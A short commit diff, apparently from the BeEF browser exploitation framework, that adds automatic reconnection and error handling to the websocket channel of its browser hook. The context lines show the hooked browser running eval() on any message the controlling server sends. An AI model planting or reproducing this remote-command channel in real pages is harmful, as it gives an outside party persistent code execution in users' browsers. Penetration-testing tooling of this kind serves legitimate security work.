ISSUES #713 Fixed

This commit is contained in:
radoen
2012-10-14 01:52:17 +02:00
parent aad6228ea8
commit b20dec0adf

View File

@@ -58,11 +58,21 @@ beef.websocket = {
eval(message.data);
}
this.socket.onclose = function () {
setTimeout(function(){beef.websocket.start()}, 5000);
}
},
send:function (data) {
try {
this.socket.send(data);
// console.log("Sent [" + data + "]");
//console.log("Sent [" + data + "]");
}
catch(err){
//console.log(err);
}
},
alive: function (){